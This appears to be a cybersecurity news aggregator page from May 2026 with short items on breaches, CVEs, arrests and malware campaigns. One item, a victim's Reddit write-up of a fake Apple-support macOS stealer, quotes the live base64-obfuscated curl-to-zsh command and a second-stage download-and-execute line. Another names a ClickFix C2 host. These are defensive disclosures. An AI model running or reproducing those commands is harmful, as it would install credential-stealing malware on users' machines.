The U.S. Cybersecurity and Infrastructure Security Agency (CISA) has given U.S. federal agencies four days to secure their servers against a critical vulnerability in the LiteSpeed cPanel user-end plugin, which is actively being exploited in attacks. [...]
Cybersecurity News and Vulnerability Aggregator
Cybersecurity news aggregator
Updated: 1:40 pm
J/K Navigate / Search S Save V Open Link
— or
treemd <(curl -sL https://allsec.sh/md) (as Markdown) Top Cybersecurity Stories Today
Monday recap. Same mess, new week. A sketchy dev tool got people pwned, old bugs came back from the dead, and security products somehow needed protecting from themselves. A bunch of companies spent the week checking old boxes and forgotten servers they should've patched years ago. Good times. Phishing crews are getting smarter too - less obvious scam junk, more targeted stuff that actually
The Glassworm botnet targeting developers in software supply-chain attacks has been disrupted after researchers took down its resilient command-and-control infrastructure relying on Solana blockchain transactions and the BitTorrent DHT network. [...]
The FBI warned on Tuesday that the Silent Ransom Group (SRG) extortion gang is now targeting U.S.-based law firms in in-person data theft attacks. [...]
There is no excerpt because this is a protected post. The post Protected: The State of AI Risk Management in 2026 appeared first on Heimdal Security Blog .
Latest
Wednesday, May 27
The Glassworm botnet targeting developers in software supply-chain attacks has been disrupted after researchers took down its resilient command-and-control infrastructure relying on Solana blockchain transactions and the BitTorrent DHT network. [...]
The FBI warned on Tuesday that the Silent Ransom Group (SRG) extortion gang is now targeting U.S.-based law firms in in-person data theft attacks. [...]
When an employee installs an AI writing assistant, connects a coding copilot to their IDE, or starts summarizing meetings with a new browser tool, they are doing exactly what a productive employee should do: finding faster ways to work. Across most organizations today, employees are running three to five AI tools on any given day. Most were never reviewed by IT. A significant portion connects
Cybersecurity researchers have disclosed a security flaw in Gitea, an open-source, self-hosted platform for version control, that allows unauthenticated remote attackers to pull private container images from Gitea deployments without requiring an account, password, or other credentials. The vulnerability, tracked as CVE-2026-27771 (CVSS score: N/A), affects all versions of Gitea prior to 1.26.2
The U.S. Cybersecurity and Infrastructure Security Agency (CISA) has given U.S. federal agencies four days to secure their servers against a critical vulnerability in the LiteSpeed cPanel user-end plugin, which is actively being exploited in attacks. [...]
The Dutch National Police arrested a 35-year-old man suspected of hacking the professional football club Ajax Amsterdam (AFC Ajax) earlier this year. [...]
Microsoft has released the KB5089573 preview cumulative update for Windows 11 versions 25H2 and 24H2, which comes with 30 changes, including performance and reliability improvements. [...]
Microsoft has warned of an active cryptojacking campaign that makes use of artificial intelligence (AI) chatbot interactions as a mechanism for surfacing malicious download sites. "This emerging delivery technique extends social engineering beyond conventional search results and increases the visibility of malicious software recommendations," Microsoft Defender Experts and the Microsoft
TL;DR: Visit https://sshlabs.compass-security.training to learn more about SSH security. Introduction SSH is a widely used protocol that provides secure access to remote systems. It enables encrypted communication, file transfers, command execution and shell access for system administration. However, when misconfigured, poorly secured or used in an unsafe way, SSH can become an attack vector for attackers. When we perform Linux hardening or infrastructure reviews , we often see that SSH is not used securel
Tuesday, May 26
Some internet connectivity is returning in Iran after nearly 90 days offline, web monitoring groups say. But it isn’t clear if the reconnection is permanent.
Not a security person... got hit by an undocumented macOS stealer campaign, reverse engineered it, and tried to take the whole operation down.
DISCLAIMER: I'm a biochem student with no cybersecurity background. Tonight I got tricked into running a malicious terminal command I found via a Google Ad. I spent the next 3 hours with Claude AI trying to figure out exactly what happened. Posting because nobody has documented this campaign yet, this is also my first post on this subreddit so I apologize beforehand... Code samples are posted for research purposes only. Do not execute anything in this post. First! My disk space was low on my mac so I search on Google "low disk space mac". Clicked the first thing and it was actually a Google Ad that led to [clearspark28\[.\]com](http://clearspark28.com) which was a pixel-perfect clone of Apple's support website, fake Apple copyright footer and all. It told me to paste a command into Terminal to "clean up disk space." I pasted it. The moment I hit enter I knew something was wrong (too good to be true). I know, in hindsight that was so damn obvious but I was distracted during that time... THE COMMAND: echo "Downloading Update: [https://support.apple.com/storage/cleanup-2.3.15](https://support.apple.com/storage/cleanup-2.3.15)" && curl -s $(echo "aHR0cHM6Ly9jZWRhci1zYXRpbi5jb20vY3VybC8xZmFjMThmNDc2MjIzNGE0M2Y2NWFkNWMyNzQxOWM3MzdlZDBlYWYxNDA4Yzg3NTRkMjhiMWUwMzI5NDg4NmNi" | openssl base64 -d -A) | zsh The fake Apple URL is just text printed to the screen. The real URL is base64 encoded and hidden, it points to cedar-satin\[.\]com. macOS showed a permission prompt asking for Finder access. I denied it. I think that stopped the attack. Downloading the script without executing it revealed: \- Mostly junk padding (fake variables, meaningless loops) \- A gzip compressed, base64 encoded hidden payload \- Everything executed via eval so it never touches disk Decompressing the payload revealed octal encoded strings hiding all the real commands. Tracking beacon (fires immediately on execution): hxxps://amber-22\[.\]com/api/metrics/run?event=pasted With headers: user: AxkPZnSWtzN7LfXvNn7o\_H6WDDJ-oCP5b2gqZVITruE BuildID: a5m2yvGoDVLVNY7hEYjAz0Dksst8zgbvil3Vx-s3rQs Second stage download and execution: curl -o /tmp/helper hxxps://cedar-satin\[.\]com/\[path\]/cleaner3/update && xattr -c /tmp/helper && chmod +x /tmp/helper && /tmp/helper The binary was intended to steal browser credentials. It never executed because Finder access was denied. clearspark28\[.\]com: fake Apple phishing page (Host: FEMOIT, GB ([abuse@as214351.com](mailto:abuse@as214351.com))) amber-22\[.\]com: victim tracking beacon (Host: Limited Network LTD, Romania ([abuse@btcloud.ro](mailto:abuse@btcloud.ro))) cedar-satin\[.\]com: malware payload server [cedar-satin\[.\]com](http://cedar-satin.com) was registered: May 24, 2026 Attack observed: May 26, 2026 Registrant: M-- N--- Address: TX somewhere (Almost certainly fake) Nameservers: Cloudflare The initial attack vector was a paid Google Ad (Campaign ID: 23886301396). This means someone paid Google with a real payment method to target people searching for Mac storage help. WHAT I COULDN'T GET: The actual /tmp/helper binary, it was never written to disk on my machine so I have no sample to analyze. If anyone recognizes this infrastructure, the beacon headers, or the cleaner3/update path, please comment. I'd love to know what the binary actually does and who is behind this. Happy to answer any questions or provide additional details! edit: thanks for the warm comments everyone :)
The Iranian hacking group known as MuddyWater has been linked to a new campaign affecting at least nine organizations across nine countries on four continents in the first quarter of 2026. The activity targeted industrial and electronics manufacturing, education and public-sector bodies, financial services, and professional services, per the Threat Hunter Team from Symantec and Carbon Black.
There is no excerpt because this is a protected post. The post Protected: The State of AI Risk Management in 2026 appeared first on Heimdal Security Blog .
AI governance requires visibility into how AI tools interact with enterprise data. Varonis explains how its Atlas platform uses Claude Compliance API data to help monitor usage, investigate risk, and support compliance. [...]
Microsoft is testing a new Defender for Endpoint capability that will automatically isolate compromised endpoints to thwart attackers' attempts to move laterally across the network. [...]
Microsoft has rolled out updates to fix a remote code execution vulnerability impacting SharePoint that could be exploited by bad actors in attacks without requiring any specialized conditions to be met. The vulnerability, tracked as CVE-2026-45659, carries a CVSS score of 8.8. It has been assigned an important severity. "Deserialization of untrusted data in Microsoft Office SharePoint allows
Multi-factor authentication (MFA) was supposed to close a critical gap in identity security. It meant that, even if an attacker possessed the account credentials, they couldn't log in without the second factor. While that logic was sound, attackers have now figured out that they don't need to steal the second factor: they just need the user to hand it over. If your workforce authenticates with
As Americans stew over the looming risk of job-stealing AI and data centers in their back yards, the feds are raising the alarm about a new category of threat, documents obtained by WIRED show.
The Indian Computer Emergency Response Team (CERT-In) has issued new guidelines requiring organizations to patch critical security vulnerabilities in internet-exposed systems within 12 hours of being flagged where "feasible" to safeguard against potential threats stemming from threat actors' abuse of artificial intelligence (AI) tools and large language models (LLMs) to automate vulnerability
The Iranian state-sponsored threat actor known as Nimbus Manticore (aka Screening Serpens and UNC1549) has been attributed to a fresh campaign using lures impersonating organizations in the aviation and software sectors across the U.S., Europe, and the Middle East following the joint U.S.-Israeli military campaign against the country in late February 2026. The activity, besides embracing
The ShinyHunters extortion gang stole the personal information of over 183,000 people after hacking the systems of convenience store chain giant 7-Eleven in April, according to data breach notification service Have I Been Pwned. [...]
Monday, May 25
Presently sponsored by: Report URI: Guarding you from rogue JavaScript! Don’t get pwned; get real-time alerts & prevent breaches #SecureYourSite Today, we welcome the 45th government onboarded to Have I Been Pwned’s free gov service: Bhutan. The Bhutan Computer Incident Response Team, BtCIRT, now has access to monitor Bhutanese government domains against the data in HIBP. As Bhutan’s national CIRT, BtCIRT is responsible for consuming threat intelligence and sharing relevant insights with its constituents, helping identify and respond to cyber risks affecting government services and the people who depend on them. This is exactly the sort of organisation the HIBP government service was built to support: national cybersecurity teams using breach data to identify leaked credentials and compromised databases associated with their government domains. BtCIRT now joins the growing list of national CIRTs and government cybersecurity teams using HIBP to better understand their exposure, respond quickly when new breaches appear, and reduce the risk posed by compromised credentials before attackers can take advantage.
Anthropic appears to be preparing for the public rollout of the Mythos model, which was announced in April as a restricted model that poses major security risks to private and public software. [...]
Ciaran Martin says Reform UK leader’s allegation over Guardian report on £5m gift ‘entirely unsubstantiated’ Nigel Farage’s claim that a Russian hack was behind a Guardian report on the £5m gift he received from a crypto billionaire has been described as “without any merit” by a former head of the National Cyber Security Centre. Ciaran Martin, founding chief executive of the agency, which is part of GCHQ, said Farage’s allegation, if true, would have major implications for UK policy towards Russia but that the Reform UK leader had yet to provide “a shred of evidence”. Continue reading...
Monday recap. Same mess, new week. A sketchy dev tool got people pwned, old bugs came back from the dead, and security products somehow needed protecting from themselves. A bunch of companies spent the week checking old boxes and forgotten servers they should've patched years ago. Good times. Phishing crews are getting smarter too - less obvious scam junk, more targeted stuff that actually
Authorities in the Netherlands have arrested the co-owners of two related Internet hosting companies for operating IT infrastructure used by Russia to carry out cyberattacks, influence operations and disinformation campaigns inside the European Union. The two men were the focus of a 2025 KrebsOnSecurity story about how their hosting companies had assumed control over the technical infrastructure of Stark Industries Solutions , an Internet service provider sanctioned last year by the EU as a frequent staging ground for cyber mischief from Russia’s intelligence agencies. An investigator with the Tax Intelligence and Investigation Service (FIOD), the Dutch financial crimes agency, during the raid. Image: FIOD. The Dutch daily news outlet de Volkskrant reports that the Dutch financial crime agency FIOD on May 18 arrested a 57-year-old from Amsterdam and a 39-year-old from The Hague, charging them with violating sanctions law by directly or indirectly making economic resources available to EU-sanctioned ent
The FBI is warning about the Kali365 phishing-as-a-service platform (PhaaS) that is used to hijack Microsoft 365 accounts by abusing OAuth device code authentication to steal session tokens and bypass multi-factor authentication (MFA). [...]
Threat actors are exploiting a recently disclosed critical security flaw in Ghost CMS to inject malicious JavaScript code with an aim to fuel ClickFix attacks. According to QiAnXin XLab, the activity involves the exploitation of CVE-2026-26980 (CVSS score: 9.4), an SQL injection vulnerability in Ghost's Content API that could allow an unauthenticated attacker to read arbitrary data from the
Ask a cybersecurity pro about Network Detection and Response (NDR) and you might still hear "Noisy," "Too much data." But ask the teams running NDR that includes agentic AI capabilities and you'll hear they're actually using it to catch threats earlier, triage faster, and chase fewer false positives. The old complaint lingers in part because reputations are sticky, and because NDR has evolved
As attackers ramp up their AI exploit development, the search for software vulnerabilities is changing rapidly.
Cybersecurity researchers have shed light on a cross-platform malware called RemotePE that has been put to use by the North Korea-linked Lazarus Group in attacks targeting financial and cryptocurrency organizations. RemotePE, per NCC Group subsidiary Fox-IT, is part of a multi-stage attack chain that involves two loaders tracked as DPAPILoader and RemotePELoader. "DPAPILoader decrypts and
Sunday, May 24
Presently sponsored by: Report URI: Guarding you from rogue JavaScript! Don’t get pwned; get real-time alerts & prevent breaches #SecureYourSite Well, that didn't last long! Recording this on Saturday morning my time, I observed ShinyHunters having gone quiet since the massive haul that would have been the Instructure ransom. It was two weeks almost to the hour since I'd first heard rumour of payment being made, and I posited that groups like this often go quiet after they feel the heat, only to emerge shortly after, the drug that is hacking being too strong to ignore. Anyway, here we now are: ShinyHunters Claims 3 New Victims https://t.co/v8Wf457Gbp : U.S.-based dental benefits administrator and oral health company. Charter Communications, Inc.: U.S. telecommunications and cable company best known for Spectrum internet, TV, mobile, and phone services. … pic.twitter.com/epWcVVGRHa — Dark Web Informer (@DarkWebInformer) May 22, 2026 DentaQuest has since been removed, but their website is currently returning "Access Denied", which isn't a great look. Obviously, the broken website doesn&apos
Saturday, May 23
Plus: Google publishes a live exploit for an unpatched flaw, the feds arrest two men accused of creating thousands of nonconsensual deepfake nudes, and more.
Cybersecurity researchers have flagged a fresh software supply chain attack campaign that has targeted multiple PHP packages belonging to Laravel-Lang to deliver a comprehensive credential-stealing framework. The affected packages include - laravel-lang/lang laravel-lang/http-statuses laravel-lang/attributes laravel-lang/actions "The timing and pattern of the newly published tags
Friday, May 22
Lawmakers in both houses of Congress are demanding answers from the U.S. Cybersecurity & Infrastructure Security Agency (CISA) after KrebsOnSecurity reported this week that a CISA contractor intentionally published AWS GovCloud keys and a vast trove of other agency secrets on a public GitHub account. The inquiry comes as CISA is still struggling to contain the breach and invalidate the leaked credentials. On May 18, KrebsOnSecurity reported that a CISA contractor with administrative access to the agency’s code development platform had created a public GitHub profile called “ Private-CISA ” that included plaintext credentials to dozens of internal CISA systems. Experts who reviewed the exposed secrets said the commit logs for the code repository showed the CISA contractor disabled GitHub’s built-in protection against publishing sensitive credentials in public repos. CISA acknowledged the leak but has not responded to questions about the duration of the data exposure. However, experts who reviewed the now-defunct Private-CISA archive said it was originally created in November 2025, and that it exhibits a pattern consistent with an individual operator using the repository as a working scratchpad o
Harvard and \~140 other compromised legitimate sites are now spreading ClickFix malware. hxxps://hir.harvard.edu/israel-and-international-football-a-breaking-point/ hxxps://hir.harvard.edu/a-better-way-forward-an-interview-with-paul-ryan/ Both contain a remote load script in it's HTML that reverses it's C2 `sj.ssc/ipa/orp.eralfduolccitats` to original form and then displays the ClickFix box from it. C2: hxxps://staticcloudflare.pro AnyRun identifies the loading pattern well: * [https://app.any.run/tasks/2ac73567-8bdf-41b0-999e-08057deb3dd3](https://app.any.run/tasks/2ac73567-8bdf-41b0-999e-08057deb3dd3) * [https://app.any.run/tasks/8362c5f5-11ab-4b34-b7a5-8e2fb2d6355c](https://app.any.run/tasks/8362c5f5-11ab-4b34-b7a5-8e2fb2d6355c) Sandbox detonation of one of the ClickFix payloads: [https://app.any.run/tasks/bf4b5c8d-f76d-4398-b465-9a1d8ec899bb](https://app.any.run/tasks/bf4b5c8d-f76d-4398-b465-9a1d8ec899bb) Original post and more discovered compromised URL's: [https://x.com/rifteyy/status/2057842147630411877](https://x.com/rifteyy/status/2057842147630411877)
In March 2026, attackers exploited a pull_request_target misconfiguration in the aquasecurity/trivy-action GitHub Action to exfiltrate organization and repository secrets, then used those credentials to backdoor LiteLLM on PyPI (see Trivy’s post-mortem for the full timeline). zizmor is a static analyzer that GitHub Actions users run to catch exactly these misconfigurations before they ship. When GitHub Actions added support for YAML anchors in September 2025, a small but high-value slice of the ecosystem started writing workflows that zizmor could only analyze on a best-effort basis. Over the past three months, Trail of Bits collaborated with the zizmor maintainers to bring zizmor ’s anchor support up to full coverage. First, we fixed parsing bugs that caused crashes, produced wrong-location findings, and silently mishandled aliased values. Second, we surfaced deserialization edge cases that broke zizmor on otherwise valid workflows. Finally, we helped align zizmor ’s expression evaluator with GitHub’s own Known Answer Tests . We validated all of this against a new corpus of 41,253 workflows from 6,612 high-value open-source repositories. The result: 20 filed issues, 15 merged pull requests. Building the test corpus To u
GreyNoise compared 119,842 malicious IPs against 11 major threat feeds. The average coverage: just 2%, exposing the limits of static blocklists.
Thursday, May 21
Canadian authorities on Wednesday arrested a 23-year-old Ottawa man on suspicion of building and operating Kimwolf , a fast spreading Internet-of-Things botnet that enslaved millions of devices for use in a series of massive distributed denial-of-service (DDoS) attacks over the past six months. KrebsOnSecurity publicly named the suspect in February 2026 after the accused launched a volley of DDoS, doxing and swatting campaigns against this author and a security researcher. He now faces criminal hacking charges in both Canada and the United States. A criminal complaint unsealed today in an Alaska district court charges Jacob Butler , a.k.a. “ Dort ,” of Ottawa, Canada with operating the Kimwolf DDoS botnet. A statement from the Department of Justice says the complaint against Butler was unsealed following the defendant’s arrest in Canada by the Ontario Provincial Police pursuant to a U.S. extradition warrant. Butler is currently in Canadian custody awaiting an initial court hearing scheduled for early next week. The government said Kimwolf targeted infected devices which were traditionally “firewalled” from the rest of the internet, such as digital photo frames and web cameras. The infected systems were then rented to other cybercriminals, or forced to participate in record-smashing DDoS attacks, as well as assaults that affected Internet address ranges for the Department of Defense . Consequently, the DoD’s Defense Criminal Investigative Service is investigating the case, with assistance from the FBI field office in Anchorage. “KimWolf was tied to DDoS attacks which were measured at nearly 30 Terabits per second, a record in recorded DDoS attack volume,R
Three firms will pay nearly $1 million for selling “Active Listening” technology that they claimed tapped people’s phones for advertising. The FTC alleges the “tech” was just pricey email lists.
How TeamPCP's Python Toolkit Survives a C2 Takedown: FIRESCALE, GitHub, and the Victim's Own Account
Researchers tore apart the second-stage Python toolkit used in the Mini Shai-Hulud supply chain campaign. The delivery via trojanized npm/PyPI packages got coverage elsewhere. This goes deeper into what actually runs on the machine after. 13 modules, parallel execution, 90+ credential targets. Here's what stood out: * FIRESCALE is a dead-drop resolver that queries GitHub's commit search API globally looking for a signed backup C2 address. The RSA public key is embedded in the malware. No attacker repo to take down, the redirect can come from any account * When both C2 paths fail, the malware creates a public repo under the victim's own GitHub account and commits the credential harvest there. Operator retrieves it via public API, no auth required * The AWS module covers all 19 regions including both GovCloud partitions, restricted to US government and defense contractors * Kubernetes certs loaded entirely in kernel memory via memfd\_create. Nothing hits disk * Geopolitical wiper targets Israeli/Iranian systems with a 1-in-6 probability gate, specifically designed to evade single-run sandbox analysis
Hello all, The past few months I really got into Malicious Browser Extensions. During the creation of my project I started an automation that collects malicious browser extensions. During my thesis as a student I struggled to find CRX files.. so I created my own database of them. Here is the github for it: [https://github.com/GherardoFiori/MaliciousBrowserExtensions](https://github.com/GherardoFiori/MaliciousBrowserExtensions) Here is more info about the automation behind it: [https://buio.me/n8n](https://buio.me/n8n) I hope this can help someone with their own research around this subject. Since I really struggled to get my hands on crx files when it came to "malware" or "malicious"
I just wrapped a 99‑fixture adversarial PE corpus for IOCX — deterministic, spec‑aware, malformed‑but‑parseable binaries, each isolating a single structural anomaly. The whole thing is only 250 KB and it already helped tighten up an unreleased validator. IOCX now walks even the most pathological PEs with confidence. Honestly, this is the most fun I’ve had with PE internals in years. Happy to share details if anyone’s curious. Github: [https://github.com/iocx-dev/iocx](https://github.com/iocx-dev/iocx)
France is already moving on from Zoom and Microsoft Teams in favor of homegrown alternatives. Other countries are quickly following suit.
A look at how Kubernetes CVE-2021-25740 allows users with EndpointSlice access to redirect traffic via shared ingress and load balancer services.
A new SonicWall scanning surge mirrors the pattern that preceded CVE-2026-0400. GreyNoise details the activity and what defenders should watch.
Wednesday, May 20
Overview A privilege escalation vulnerability, nicknamed "Dirty Frag," has been discovered in the Linux kernel versions 4.10 and later. This vulnerability is a result of chaining together two previously discovered vulnerabilities, xfrm-ESP Page-Cache Write CVE-2026-43284 and the RxRPC Page-Cache Write CVE-2026-43500 . This vulnerability was publicly disclosed on May 07, 2026. Description Dirty Frag is a Linux kernel vulnerability affecting the IPv4/IPv6 fragmentation and reassembly subsystem. The issue stems from improper handling of overlapping or malformed fragment offsets during the reassembly process. An attacker capable of sending crafted network packets to a vulnerable host can exploit the flaw to trigger memory corruption conditions. The publicly documented proof of concept demonstrates that fragmentation logic can be manipulated such that the kernel processes inconsistent fragment states, enabling a controlled write out-of-bounds scenario. When successfully exploited, this can result in local or remote denial of service (kernel panic) and, depending on configuration and kernel build options, may create a primitive for more advanced memory manipulation. The vulnerability arises from insufficient validation of fragment metadata during reassembly, specifically around: Incorrect or incomplete enforcement of fragment boundary checks Acceptance of overlapping fragments in unsafe sequences Inadequate cleanup when transitions occur between valid and invalid fragment states The fragment queue logic in affected kernels does not fully verify that fragment offsets, sizes, and overlap
Attorney John Scola is representing a police officer who is suing over injuries allegedly sustained while working security at an MSG property in 2025.